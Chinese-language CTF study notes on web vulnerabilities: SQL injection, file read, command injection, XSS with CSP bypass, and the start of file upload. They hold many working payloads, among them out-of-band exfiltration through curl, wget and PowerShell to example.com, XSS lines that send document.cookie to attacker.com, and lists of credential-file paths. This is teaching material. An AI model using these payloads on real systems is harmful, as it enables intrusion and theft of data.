从0到1:CTFer成长之路(笔记不断更新)

如果有师傅想要交流的,欢迎加我qq1210078968,一起进步

ctfer从0到1

web入门

信息搜集

  • 敏感目录
  • 敏感备份文件
  • Banner识别

敏感目录

git泄露

  • 常规git泄露
  • git回滚
    git reset命令,恢复到以前版本
    或者 git log -stat
    git diff HEAD commit-id
  • git分支
    使用gitHacker
    git log --all
    git branch -v
    git reflog查看checkout记录
    查看其他分支
  • git泄露其他利用
    .git/config文件夹中可能含有access_token信息

SVN泄露

管理员操作不规范会倒是svn隐藏文件夹暴露于外网中,
.svn/entries 或者 wc.db文件获取服务器源码

HG泄露

hg会在当前文件夹下创建.hg隐藏文8件,包含代码和分支修改记录等信息

敏感备份文件

gedit备份文件

Linux下,用gedit编辑器保存后,当前目录会生成一个后缀~的文件
在这里插入图片描述

vim备份文件

见ctfhub vim 题 .swp的备份文件

常规文件

robots.txt ------ 记录目录和cms信息
readme.md ------------记录cms信息甚至github地址
www.zip/rar/tar.gz --------源码备份
我见过一个 a.zip的源码备份
网站域名的压缩包也可能是备份·

Banner 识别

自行搜集指纹库

比如云悉

使用已有的工具

Wappalyzer
浏览器插件
在这里插入图片描述

报错信息

跳转的时候,302 404的时候 debug的时候会显示

CTF中的sql注入

sql注入基础

数字型注入和UNION注入

这里只写主要语句了
$res = mysqli_query($conn,"select title ,content from wp_news where id = ".$_GET['id']);
使用加减乘除运算进行验证

即:id = 3-1 或者 id = 2

联合查询的话
select title,content from wp_news where id =1 union select user pwd from wp_user

这个作用是 查询新闻表 id =1的title content 字段的数据,并且联合查询用户表中 user pwd 的全部内容
%20 是空格 URL的编码格式

如果显示的有限的话,就需要进行报错,或者进行limit 1,1 limit是一个条件限定,作用是取查询结果中,第一条记录之后的一条记录, 也就是pwd和user了

如何知道数据库的结构呢?
在mysql 5.0之后,自带information.schema 存储mysql所有的数据库名,表名,字段名,

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

table_name 字段是information_schema 库的tables表的表名字段,表中还有数据库名字字段table_schema 而database() 函数返回的内容,就是当前数据库的名称,
columns 表同理

字符型注入和布尔盲注

在mysql中,等号两边如果类型不一样,则会发生强制转换,

  • 数字与字符串数据比较时,字符串将被转换为数字
  • 字符串1与数字相等,字符串1a被强制转换为了1 字符串a被强制转换成了0

'1'=1 '1a'=1 'a'=0

空格的编码是 %20
#的编码是 %23

布尔盲注

也就是

id='1' and True或者是False
and 后为假,则页面无返回,and后为真 则页面有返回
那么猜测的时候也就是
id='1' and ‘f’='你猜测的'

当然我们可以使用 < >等代替 =
加快速度,也就是二分法
上述情况适用于单字符,而数据库中的数据大多不是一个字符,那么
如何获取每一位数据呢

利用MYSQL 自带的函数

substring(),mid(),substr()

例如 substring(“123”,2,1)

输出结果为 2
mid(“abcde”,1,1)
结果为 a

substr(“12345”,1,1)
结果为 1

通过盲注获取
同时截取第一位
利用语句
select MID((select concat(user,0x7e,pwd) from wp_user),1,1)

报错注入

只要触发sql语句,就能在页面上看到错误信息,这种,被称为报错注入

$res = mysqli_query($conn,"select title,content from wp_news where id =' ".$GET['id'] or VAR_DUMP(mysqli_error($conn))")
$ row = mysqli_fetch_arrary($res)
echo $row['title']

根据资料显示,updatexml 在执行时,第二个参数应该为合法的XPATH参数,否则就会在引发报错的同时,将传入的参数进行输出,

这样的话,1' or updatexml(1,concat(0x7e,(select pwd from wp_user)),1) %23

第二个参数的东西就会输出

另外,当开启多语句执行的时候,叫堆叠注入

try{
    
    
	foreach($db->query($sql) as $row){
    
    
	print_r($row);
	}
	}
	catch(PDOException $e){
    
    
	echo $e->getMessage();
	die();
	}

1';delete from wp_files;

以上的注入优先级:
union》报错》布尔》时间盲注

注入点

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
    [HIGH_PRIORITY]
    [STRAIGHT_JOIN]
    [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
    [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr, ...
    [INTO OUTFILE 'file_name' export_options   | INTO DUMPFILE 'file_name']
    FROM table_references
    [WHERE where_definition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_definition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC] , ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [FOR UPDATE | LOCK IN SHARE MODE]]

从sql语句的语法角度,从不同注入点,讲述sql注入的技巧

注入点在select_expr

关键语句如下

$mysqli_query($conn,"select ${_GET['id']},content from wp_news")

可以使用AS别名,在知道他显示的是哪个,将我们要查询的数据,设置别名,直接显示。

id=(select +pwd+from+wp_user)+as+title

那么,在如下有title输出的地方,都会被输出

注入点在table_reference

$res = mysqli_query($conn,"select title from ${_GET['table']}");

仍然使用别名,将内容直接取出

比如这样
select title from (select pwd as title from wp_user)x
x 代表表名

当然如果不知道表名的情况下,我们可以先从information_schema.talbes 中查询表名

如果注入的存在反引号包裹,那么我们首先需要闭合反引号。

注入点在WHERE 或者 HAVING后

最常见的地方,

$res = mysqli_query($conn,"select title from wp_news where id = ${_GET[id]}");

注入点在GROUP BY 或者ORDER BY 后

$res  = mysqli_query($conn,"select title from wp_news GROUP By ${_GET['title']}");

那么使用title = id desc,(if(1,sleep(1),1)) 会让页面延迟1秒,那么就可以进行时间注入

本节的注入,主要原因是没有预编译,只要对输入的值进行白名单,基本防御这个注入

注入点在LIMIT之后

较为简单,通过更改,数字大小,就会显示,更多或者更少的记录,由于语法限制,只能为数字,在sql语句没有order by 的情况下,可以使用union注入

我们也可以根据,select 语法,使用PROCEDURE来注入
select id from wp_news limit 2 procedure analyse(extractvalue(1,concat(0x3a,version())),1);

同样可以基于时间注入

procedure analyse((select extracvalue(1,concat(0x3a,(IF(MID(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
BENCHMARKde 语句处理时间为1秒。
BENCHMARK(count,expr) 将表达式expr重复运行count次

在有写入权限的特定情况下,也可以使用into OUTFILE语句向web写入shell,在无法控制文件内容的情况下,可以控制部分内容

select xx into outfile "/tmp/xx.php" LINES TERMINATED BY '<?php phpinfo();?>'

INSERT注入

通常注入点位于字段名,或者字段值的地方,而且没有回显信息

注入点位于tbl_name

如果能够通过注释符注释后续语句,则可以插入特定数据,到想要的表内,如,管理员表,之类的

$res = mysqli_query($conn,"INSERT into {$_GET['table']} values(2,2,2,2)");

这里因为可以控制表名,

我们输入

table=wp_user values(2,'newadmin','newpass') #

即可成功插入新的管理员

注入点位于VALUES

假设语句为

insert into wp_user values(1,1,’可控位置')

此时可以闭合单引号,另行插入一条记录,通常管理员和普通用户在一个表,通过表字段来控制管理员权限

insert into wp_user values(1,0,'1'),(2,1,'aaa');

如果用户表, 的第二个字段代表管理员权限识别,便能插入了

在某些情况下,我们也可以插入能回显的字段,来快速获取数据,我们假设 他最后一个可以进行输出

可以这样
insert into wp_user values(1,1,'1'),(2,2,(select pwd from wp_user limit 1 ));

UPDATE 注入

用于数据库记录的更新,如用户修改自己的文章,介绍信息,更新信息等等,

当id可控时,则可以修改多个字段数据

update wp_user set id=3,user='xxx' user = ‘23’

DELETE注入

他大部分时在where之后,
$res = mysqli_query($conn,“delect from wp_news where id = {$_GET['id']}”);

DELETE 语句的作用时删除某个表的全部或指定行的数据,对id参数进行注入时,稍有不慎就会导致where值为true 使得wp_news 所有的数据被删除,
为了保证不对数据进行干扰,
通常使用and sleep(1)的方式保证where 后面返回为false让语句无法成功

注入和防御

讲防御手段和绕过注入的方法,提供思路,而不是注入宝典的参考

字符替换

只过滤了空格

比如

$id = str_replace(" ","",$sql);

我们可以使用
%0a,%0b,%0c,%0d,%09,%a0他们均为URL编码,%a0在特定字符集才能利用
还有/**/组合,括号等,

将select替换为空

可以使用嵌套
SELSELECTECT

大小写匹配

SelEct

正则匹配

正则匹配\bselect\b 我们可以使用/*50000select*/绕过

当MySQL版本大于或等于50000,也就是版本大于或者等于5.0时,那么该注释会被解析成代码。
/*!from*/
能够执行,中间的50000不写,应该默认的是最低版本。

替换了单引号或双引号,忘记了反斜杠

比如

$sql = "SElect * from wp_news where id = '可控1' and title = '可控2'"

可以构造这样的

$sql = "select * from wp_news where id = 'a\' and title =' or sleep(1)#' "

因为反斜杠,使得第二个单引号逃逸,执行了sleep

逃逸引号

一般会全局的addslashes 也就是统一转义 单引号,反斜杠

编码解码

urldecode,base64_decode 或者自定义的加解密函数,当用户输入addslashes函数时,往往因为编码状态,引号无法转义,同样也存在于字符集的转换上

意料之外的输入点

上传的文件名,httpheader,$_SERVER[‘PHP_SELF’]
等这些变量有可能被遗忘

二次注入

信任从数据库中取出的数据是无害的

字符串截断

如果他限制了不能超过10个字符,

$title  = substr($title1,0,10);
$sql = "INSERT into wp_news values(2,'title','$content')"

假设攻击者输入了
aaaaaaaaa'
正好十个,
那么,最后一个会转义,反而成了
aaaaaaaaa\
就会将他预置的单引号转义,那么content就可以进行注入

&content = ,1,1),(3,4,(select pwd from wp_user limit 1),1) #

wp_news 新增了两列,
那么合起来的语句是这个

insert into wp_news values(2, 'aaaaaaaaa\',',1,1),(3,4,(select pwd from wp_user limit 1),1)#')

注入的功效

  • 有写入权限的时候,into outfile 或者 dumpfile向web目录写文件
  • 可以读取文件的情况下,load_file()读取网站源码和配置信息,
  • 提升权限,获得更高的用户权限,管理员权限,
  • 通过控制模板,缓存等文件,来获取权限,或者删除读取文件
  • 控制整个数据库,
  • sqlserver 之类的数据库可以直接执行系统命令

任意文件读取漏洞

文件读取漏洞常见触发点

web语言

PHP

PHP读取文件有:
file_get_contents()
file()
fopen()[及其文件指针操作函数fread(),fgets()等]

文件包含的函数有
include()
require()
include_once()
require_once()
以及通过php执行命令
system()
exec() 等

php扩展也提供了一些读取文件的函数

例如
php-curl扩展
文件内容作为了HTTP body

php与其他语言不同,php向用户提供了 打开文件的方式 是一种文件流
其中最具特色的就是php://协议
除了wrapper php 另一个特色机制就是Filter
他是对流进行处理,(比如全变大写)
这两个都可以通过php.ini禁用

php文件包含的实际情况是

  • 文件路径前面可控,后面不可控
  • 文件路径后面可控,前面不可控
  • 文件中间路径可控。

第一种情况,php较低版本的地方,可以使用\x00截断
对应的URL编码是%00。

当服务器存在上传功能的时候,我们也可以尝试 zip 或则和phar协议直接进行文件包含,进而执行php代码

第二种情况,可以通过../来读取文件,目录穿越,这种情况无法使用Wrapper,如果服务端利用include等文件包含函数,我们将无法通过读取php文件中的php代码。
第三中情况和第一种类似,无法使用Wrapper 进行包含

python

与php不同的是,python的web应用,更倾向于通过自身的模块启动服务,同时,搭配中间件,代理服务将整个WEB给了用户,所以很容易出现非预期。

漏洞经常出现在框架请求静态资源文件的部分,也就是open函数,但是直接的漏洞成因往往是因为框架开发者忽略了python的特色,如os.path.join()函数

>>> os.path.join("/a","/b")
'/b'

很多开发者,是判断是否包含. 来保证用户不会发生目录穿越,随后将输入的带入os.path.join的第二个参数,如果用户传入/ 则进入根目录

java

除了本身的FileInputStream ,XXE 导致的文件读取,java的一些模块,也支持file:// 协议,

ruby

ruby的任意文件读取通常与rails 框架相关,

通用漏洞是
Ruby on rails (CVE-2016-0752)

node

node js express模块曾存在任意文件读取漏洞
(CVE-2017-14849)
CTF 中,常见于模板注入,代码注入

中间件/服务器相关

不同的中间件,服务器同样存在文件读取漏洞

ngnix错误配置

ctf中常见, 尤其是python-web

location /static{
	alias /home/myapp/static/;
	}

这个的话,用户可以访问静态目录,但是如果用户请求的是
/static../ 拼接到alias 上面,就成了 /home/myapp/static/../此时便存在了目录穿越,穿越到了myapp下,
tips:
漏洞成因是 location 最后没有加/的限制,
应该需要改成 /static/

数据库

可以进行读取的数据库很多,这里以MYSQL为例

load_file()函数
但是这个读取文件需要数据库配置FILE权限,其次需要所在的用户组对于目标文件有可读权限,(很多配置文件都是所有用户可读的),

Linux系统下,还需要Apparmor配置目录白名单,(默认白名单限制是在MYSQL相关目录下)

还有一个
这种需要完整的sql语句
load data infile
这种需要file权限,比较少见。

软连接

bash命令可以使用ln -s 来创建一个指定文件的软连接,然后我们将软连接文件上传到服务器,在访问这个链接文件,相当于在服务器请求他指向的文件

FFmpeg
Docker-API

DockerApi可以控制Docker的行为,它通过 Unix Socket 通讯,也可以通过HTTP 直接通讯,遇到SSRF时候,可以造作DockerAPI 把本地文件载入Docker 新容器进行读取,(ADD,COPY操作)

客户端相关

客户端也存在文件读取漏洞的,一般基于xss

浏览器/Flash XSS

浏览器会禁止js读取文件,如果js使用file协议读取,一般会返回跨域

MarkDown语法解析XSS

MarkDown可以解析js,很少有同源策略对其限制

文件读取漏洞常见读取路径

Linux

flag名称(相对路径)
../../../../../../../../../../flag(.txt|.php|.pyc|.py)
flag(.txt|.php|.pyc|.py)
[dir_you_know]/flag(.txt|.php|.pyc|.py)
../../../../../../../../../etc/flag(.txt|.php|.pyc|.py)
../../../../../../../../../tmp/flag(.txt|.php|.pyc|.py)
../../../../../../../../../root/flag(.txt|.php|.pyc|.py)
../../../../../../../../../home/flag(.txt|.php|.pyc|.py)
../../../../../../../../../root/[user_you_know]/flag(.txt|.php|.pyc|.py)
../flag(.txt|.php|.pyc|.py)
服务器信息(绝对路径)

1、/etc 目录
etc下多为各种系统应用和系统配置文件,所以很重要
在这里插入图片描述

2、/etc/passwd
是LInux保存用户信息及其工作目录的文件,权限是所有用户可读,
一般被用作判断文件读取漏洞存在性的基准
在这里插入图片描述

3、/etc/shadow
Linux保存用户信息,以及密码(hash)的文件,权限root用户可读可写,shadow组可读
所以一般这个文件不可读
4、/etc/apache2/*
Apache配置文件,可或者web目录,服务器端口等信息,
5、/etc/nginx/*
Nginx的配置文件,获知web目录,服务器端口等信息
6、/etc/apparmor(.d)/*
Apparmor的配置文件,获知各个应用的系统调用白名单,黑名单,
例如
配置文件可以查看mysql是否禁用系统调用,从而确定是否课以试用UDF执行系统命令
7、/etc/(cron.d/*|crontab)
定时任务文件,
在这里插入图片描述

8、/etc/environment
环境变量配置文件之一,环境变量可能存在大量目录泄露,甚至可能出现,secret key 泄露

9、/etc/hostname
表示主机名
10、/etc/hosts
主机查询静态表,包含指定域名解析IP的成对信息,通过这个文件,可以探测网卡信息和内网IP信息
11、/etc/issue
指名系统版本

12、/etc/mysql/*
MYSQL配置文件
13、/etc/php/*
PHP配置文件
14、/proc 目录
目录通常存放进程动态运行的各种信息,本质是一个虚拟目录,
如果要查看非当前进程的信息,可以通过pid 进行暴力破解,如果要查看当前进程,只需要/proc/self/代替/proc/[pid] 即可
在这里插入图片描述
对应的cmdline 可以读出比较敏感的信息,如使用
mysql -u -p 登陆的的时候
他会显示明文密码
/proc/[pid]/cmdline
/proc/[pid]/cwd cwd 可以跳转到当前应用的目录
/proc/[pid]/environ 环境变量中可能存在secret_key
在这里插入图片描述

15、其他目录
nginx 配置文件可能存在其他路径
/usr/local/nginx/conf/* 源代码安装或者其他一些解题思路
日志文件
/var/log/* 经常出现在apache2的web应用可读/var/log/apache2/access.log从而分析日志,盗取其他选手解题思路

Apache默认web根目录
/var/www/html/
PHPsession目录
/var/lib/php(5)/sessions/
用户目录

[user_dir_you_konw]/.bash_history(泄露历史执行命令)
[user_dir_you_konw]/.bashrc(部分环境变量)
[user_dir_you_konw]/.ssh/id_rsa(.pub)(ssh登录私钥/公钥)
[user_dir_you_konw].viminfo (vim使用记录)

Windows

windows和php搭配时存在问题,可以使用“<” 等符号,作为通配符

文件读取漏洞例题
兵者多诡(HCTF 2016)

WEB进阶

SSRF漏洞

(暂时略,之前的ssrf-lab部分采用这里)

命令执行漏洞

通常,开发者使用一些执行命令的函数,没有对用户输入的进行检查
作用

  • 技巧性获取flag
  • 反弹shell,进入内网
  • 利用出题人对权限的控制不严格,对环境题目拥有控制权
    一般称为远程命令执行
    RCE (remote command exec)

命令执行的原理和测试方法

命令执行原理

在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令的时候且未对输入做过滤时,通过注入而已恶意命令,造成巨大危害。
php system举例

<?php
	$id = $_GET['d'];
	system("echo" . $dir); //执行echo程序将传入的参数字符串输出到网页

我们给D传什么参,网页会输出什么
当d变为了 for test %26%26 whoami 输出结果
相当于&& whoami
为了避免url歧义,所以使用url编码&

在各类编程语言中&&代表着and语法

(表达式1)and(表达式2)
当两边都为真时,才会返回真,类似的语法还有or||表示,
注意,他们存在惰性
在and语法中,若第一个表达式为假,则第二个表达式也不会执行
在or语法中,若第一个表达式为真,第二个表达式也不会执行

命令执行基础

了解cmd.exe bash
程序在解析命令时的规则
linux windows异同点

转义字符

cmd.exe 和 bash 能够解析很多特殊字符,他们能让BAT脚本和Bash脚本处理工作更加便捷,但是如果想要去除转义字符的意义,就需要转义
Windows转义字符是^ Linux转义字符是\
在这里插入图片描述

多条命令执行

在命令注入中,通常需要注入多条命令来扩大危害,下面是能够构成多条命令的字符串

Windows下:&& ||   %0a    
Linux 下 : &&    ||   ;      $()    ``   %0a  %0d

在linux下,$() 和 ``包裹的会作为命令执行,
但是单引号包裹的字符串就是纯正的字符串,不会进行任何解析

注释符号

Windows的注释符号是 :: 在Bat批处理脚本中用的多,
Linux的注释符号是#在bash脚本中用的多

命令执行的基本测试

在面对未知的命令注入时,最好通过各种FUZZ来确认命令注入点和黑名单规则,一般命令格式如下
程序名1 -程序参数名1 参数值1 && 程序2 -程序参树名2 参数值2
ping -nc 1 www.baidu.com为例来构建Fuzz列表

程序名:ping
参数: -nc
参数值 1和www.baidu.com
程序名和参数值之间的字符串   : 空格
整个命令

参数值有时候较为复杂,可能是部分可控,被双引号,单引号包裹,需要额外注入引号来逃逸
比如
fuzz列表

&& curl   www.vps.com &&
`curl www.vps.com`
;curl www.vps.com;

再将fuzz列表插入命令点后,通过查看web日志来看是否存在漏洞

命令执行的绕过和技巧

缺少空格

例如PHP

<?php
 $cmd = str_replace("","",$_GET['cmd'])

%20 是空格
我们可以使用burp suite 对
%00~%ff 区间的字符进行测试,可以发现还能用其他字符串绕过如%09,%0b,%0c

Windows下

例如命令如下
%ProgramFiles:~10,1%
其中~相当于截取符,表示获取环境变量%ProgramFile%的值,一般为C:\Program Files。所以以上命令表示 从第十个开始且获取一个字符串,也就是空格
在这里插入图片描述

Linux下

linux中一些绕过空格的方式
$IFS$9
Bash有效,zsh,dash无效
{cmd,args}
读取文件时:
cat<>flag

========================================================

$IFS$9 Linux存在IFS环境变量,(Internal Field Separator) 即内部字段分隔符,定义了bash shell的命令间隔字符,一般为空格,注意,当只有注入$IFS时,即执行的命令结果为echo$IFSaaa 他解析了$IFSaaa 因此变量不存在,所以需要间隔符来避免,通常使用$9,表示当前系统的shell进程的第九个参数,通常是一个空字符串
当然可以使用

${IFS}或者在某些平台下,通过修改IFS变量为逗号来进行注入
;IFS=,;

黑名单关键字

如果对cat flag等字段进行拦截,我们可以

变量拼接

Linux:a=c;b=at;c=he;d=llo;$a$b ${c}${d}
这里执行cat hello

使用通配符

在通配符中代表任意一个字符串,*代表任意个字符串
cat /tm?/fl* (linux)
type fla*(windows)

借用已有字符串

若是禁用了<>?等字符串,则可以借用其他文件中的字符串,利用substr() 函数截取出某个具体字符,
在这里插入图片描述
awk 是这么使用,NR代表行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

执行无回显

CTF中时常遇到命令执行的结果不在网页上显示,
在开始前,可以先搭建一个VTest平台,
http://github.com/opensec-cn/vtest 方便测试
测试代码如下

<?php
 exec($_GET['cmd']);
HTTP通道

假设自己的域名是example.com 下面以获取当前用户权限为例
在Windows下,只能通过相对复杂的命令进行外带,(如果windows支持linux命令,方便外带)

for /F %x in ('echo hello') do start http://example.com/httplog/%x

通过for 命令,将echo hello 执行的结果存储在%x变量中,然后拼接到URL上

缺陷调用浏览器无法关闭,遇上特殊字符,空格,会存在截断,所以借用powershell外带处理
Powershell2.0下,执行如下命令

for /F %x in ('echo hello') do powershell $a = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b = New-Object System.Net.WebClient;$b.DownloadString('http://example/httplog/'+$a);

这个是对echo hello 的执行结果,进行bas64编码,然后通过web请求发出去

在Linux下,因为存在管道符,极其方便传输数据,利用curl,wget等程序
例如

curl example.com/`whoami`
wget example.com/$(id|base64)

DNS通道

通常使用ping 来测试dns进行数据外带,ping的参数在linux和windows有些不同,
比如
win -n 限制ping的个数
linux -c限制ping的个数

为了兼容性,我们可以一块儿用!
ping -nc 1 test.example.com
Linux下

ping -c  1 `whoami`.example.com 

Windwos下相对复杂
利用delims命令进行分割处理,最终拼接到域名前面,利用Ping外带
获取计算机名字

for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.example.com

获取用户名

for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.example.com

在这里插入图片描述

时间盲注

主要利用&&和||的惰性,利用时间盲注,在linux下使用sleep函数,在windows下利用耗时的命令,ping -n 5 127.0.0.1

写入文件,二次返回

有时因为网络不好,时间类读取数据极其缓慢,我们可以考虑,将执行命令,写入web目录下,再通过web访问文件,例如通过>重定向,将结果导入WEB目录下,
http://xxxxx/3.php?cmd=whoami>test
访问
http://xxxxx/test

命令执行真题讲解

XSS的魔力

跨站脚本(Cross-Site Scripting,XSS)是一个网站应用程序的安全漏洞攻击,代码注入的一种,允许恶意用户将代码注入网页,其他用户观看网页收到影响,这类通常包含html和用户端脚本语言
XSS攻击通常利用网页开发留下的漏洞,巧妙注入恶意指令代码到网页,使用户加载,这些恶意网页程序通常是JavaScript,但是可以包括java,vbscrpit,activeX,FLash或者是普通的html。

XSS漏洞类型

反射/存储型XSS

根据xss漏洞点的触发特征,XSS分为反射型XSS,存储型XSS,反射型XSS通常指的是,恶意代码未被服务器存储,每次触发漏洞的时候,将恶意代码通过GET/POST 方式提交,然后触发漏洞。存储则相反,恶意代码被服务器存储访问页面时触发,(留言板之类的)

第二
输入的数据被拼接到HTML内容中时,有时候被输入到了一些特殊的位置,如标签属性,JavaScrpit变量的值,此时通过闭合标签或者语句可以实现payload的逃逸
比如:通过标签属性中注入on事件,可以执行恶意代码,
onfocus=“alert(1)”
第三种情况,我们的输入被输出到了javaScript变量中,此时可以构造输入,闭合前面双引号,同时引入恶意代码。

<?php
 $name = $_GET['name'];

<body>
	<script type = "text/javascript">
		var username = "<?=$name?>";
		document.write("hello".username);
	</script>
</body>

此时我们输入aaa"%2balert(1)
%2b是+
以上三种是xss中最简单的场景

DomXss

是原有的javaScript代码执行后,需要进行DOM树节点增加,或者元素的修改,引入了被污染的变量,从而导致XSS,
如下代码
其功能是获取imgurl参数中的图片链接,然后拼接处一个图片标签并显示到网页中。

<script type="text/javascript">
	function getUrlParam(name){
    
    
	var reg = new RegExp("(^|&)"+name+"=([^&]*)(&|$)")
	var r = window.location.search.substr(1).match(reg);
	if(r != null) return decodeURI(r[2]);return null;
	var imgurl = getUrlParam("imgurl");
	var imagehtml = "<img src='"+imgurl+"'/>";
</script>

我们可以看到,代码最终拼接到了img标签中并被执行。

其他场景

决定上传的文件是否能被浏览器解析成HTML代码的关键是HTTP响应头中,的元素Content-Type,所以无论上传的文件是什么样的后缀被保存在服务器上,只要访问上传的文件时返回的是text/html,就可以成功的被浏览器解析并执行,类似的,flash文件的application/x-shockwave-flash也是可以执行xss的

事实上,浏览器会默认把请求响应当作html内容解析,如空的和畸形content-type,由于浏览器会有差异,需要测试,比如chrome中空的就会被认为text/html

XSS的tricks

可以用来执行xss的标签

基本上所有的标签都可以用on事件来触发恶意代码,比如
<h1 onmousemove="alert('move!')">this is title</h1>
另一个比较常用的是<img src=x onerror="alert(1)"/>
其他常见标签如下

<script src="http://attacker.com/a.js"></script>
<script>alert(1)</script>
<link rel="import" href="http://attacker.com/1.html">
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>
<svg/onload=alert(1)>

HTML5特性的xss

html5特性参考http://html5sec.org
很多标签的on事件触发是需要交互的,如鼠标滑过,点击。参考
<input onfocus=write(1) autofocus>
input标签的autofocus属性会自动使光标聚焦于此,不需要交换u就可以触发onfocus事件 两个input元素竞争焦点,当焦点到另一个input元素时,前面的会触发blur事件
<input onblur=write(1) autofocus><input autofocus>

伪协议与xss

我们在页面上,经常看到javascript:void(0)这个是javascript伪协议实现的,
如果手动单击,或者页面中javascript执行跳转到javascript伪协议时,浏览器并不会带领我们去访问这个地址,而是把javascript:后面的那一段内容当作javascript代码来执行,直接在当前页面执行
所以对于这样的标签,
<a href="javascript:alert(1)">click</a>
单机这个标签并不会跳转到其他页面,而是在当前页面执行了alert(1)
除了直接用a标签单击触发,javascript协议触发方式还有很多
比如,javascript协议进行页面跳转的时候,跳转的协议使用javascript伪协议也能进行触发,代码如下

<script type="text/javascript">
location.href="javascript:alert(document.domain)";
</script>

所以如果在登录/退出中业务存在这样的代码

<script type="text/javascript">
	function getUrlParam(name){
    
    
	var reg = new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
	var r  = window.location.search.substr(1).match(reg);
	if(r!=null)
		return decodeURI(r[2]);
	return null;
	}
	var jumpurl = getUrlParam("jumpurl");
	document.location.href=jumpurl
	location.href="javascript:alert(document.domain)";
</script>

即,跳转的地址是我们可控的,我们就能控制跳转的地址到javascript伪协议,从而实现xss

另外,iframe标签和form标签也支持javascript伪协议,不同的是,iframe标签不需要交互即可触发。而form标签需要在提交表单时才会触发。

<iframe src="javascript:alert(1)"></iframe>
<form action="javascript:alert(1)"></form>

当然除了javascript伪协议,还有其他伪协议也可以在iframe标签中实现效果
例如data伪协议

<iframe scr = "data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>

二次渲染导致的xss

后端语言例如flask 的jinja2使用不当,可能存在模板注入。

XSS的过滤和绕过

主要的过滤层有两个: WAF层,代码层

富文本过滤

对于发邮件和写博客,标签必不可少,比如嵌入超链接,图片需要HTML
标签,如果对标签进行黑名单过滤,必然出现遗漏,我们可以找没有过滤的
双写啦,大小写啦
错误的过滤方式甚至能帮助我们绕过浏览器xss过滤

输出在标签属性

如果没有过滤< >我们可以直接引入新的标签,比如onload、onmousemove等,当语句被输出到标签事件位置时,可以通过对payload进行html编码进行绕过
可以利用burpsuite对payload进行实体编码
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"/>
打开浏览器即可触发
这里的触发与浏览器带的渲染页面顺序有关,我们的payload在标签属性中,触发事件前,浏览器已经对payload进行了一次解码,才能在实体编码转换为常规数据

如果javascript过滤了eval( 可以通过以下输出

aaa=eval;
aaa("eval code");

输出在javascript变量中

通过闭合javascript语句,会使攻击语句逃逸,这时,对引号进行转义,进而防御xss
但是配合特殊的场景,仍然可能形成xss,例如对于如下双输入的注入
select * from users where name='输入1' and pass = '输入2‘
如果只考虑单引号而没有考虑\ 那么我们可以考虑转义第二个语句的前一个引号,使得第一个与第三个进行闭合
比如这样
select * from users where name = '\' and pass = 'union select xxxxx#'

xss中也有这样的场景

<script type = "text/javascript">
	var url = 'http://xxx.com?name=<?$name?>'+'<?=$address?>';
	
</script>

因为htmlentities不会过滤\
我们在name处输入\

在address变量前面发生了闭合,然后进一步用eval(window.name)引入恶意代码或是使用String.fromCharCode来避免使用引号等过滤的字符。

还有小技巧
将payload藏在location.hash中,则URL中# 后的字符不会发到服务器,所以不存在被服务过滤的情况,
比如

8.php?name=aaa\&addr=;eval(unescape(location.hash.slice(1)));//#alert('payload hide in hash')

在javascript反引号也可以作为字符串的边界符

8.php?name=aaa\&addr=;alert(`反引号也是可以用来作为边界符的`);//

CSP过滤及其绕过

CSP(Content Security Policy)内容安全策略,额外的一个安全层,用于检测,并削弱某些特定类型的攻击,包括xss
CSP被设计成为完全向后兼容,不支持csp的浏览器也能与csp服务器正常合作,反之亦然,不支持csp的浏览器指挥忽略他,正常运行,默认的网页内容使用标准的同源策略,如果网站不提供csp头部,那么也是用标准的同源策略。

为了使用CSP,配置网络服务器返回content-security-policy http头部 除此之外 <meta> 元素也可以用来配置该策略

csp策略是额外添加一些浏览器渲染页面,执行js规则,这个规则是在浏览器层执行的,只要配置服务返回content-security-policy头
例如

<?php 
	header('Content-Security-Policy: script-src *.baidu.com');
?>

这段代码会规定,这个页面引用的js文件只允许来自于百度的子域,其他任何方法的js执行都会被拦截,包括页面本身的script标签内的代码,如果引用了不可信域的js文件,则在console会报错。

常见的场景及其绕过

CSP规则很多,只是简单举例,
例如 对于script-src'self'self对应的csp规则允许加载本地的文件,我们可以通过这个站点可控的连接写入恶意的内容
如文件上传,JSONP接口。
JSONP命令进行绕过,假设存在jsonp接口,我们可以通过jsonp接口引入符合规则的javascript语法的代码。

callback({'status':'success'})

可以弹个窗

alert('bypass csp!');//({'status':'success'})

另外一些常见的绕过方法,如下

<link rel="prefetch" href="http://baidu.com">h5预加载,仅google支持
<link rel="dns-prefetch" href="http://baidu.com">DNS预加载

当传出数据有限时,则可以利用js动态生成link标签将数据传输到服务器中,如通过get参数带出cookie

<link rel="prefetch" href = "http://attacker.com/?cookie=xxxx">

还有就是来利用页面跳转,包括a标签跳转,location变量赋值的跳转,meta标签的跳转等手法,通过跳转带出数据

location.href="http://attacker.com/?c="+escape(document.cookie)

XSS绕过案例

WEB文件上传漏洞

基础的文件上传见b站我的视频讲解,

https://www.bilibili.com/video/BV1Ka4y1a7Ln

本章总结视频里没有讲到的文件上传。

基础文件上传漏洞

截断绕过上传限制

00截断

php的上传
上传时,文件为x.php\00.jpg

tips:
在java jdk7u40以下版本存在00截断问题

转换字符集造成的截断

php转换字符集通常使用inconv()函数
UTF-8在单字节时允许的字符范围是
0x00~0x7F
如果转化的字符不在该范围内,则会造成
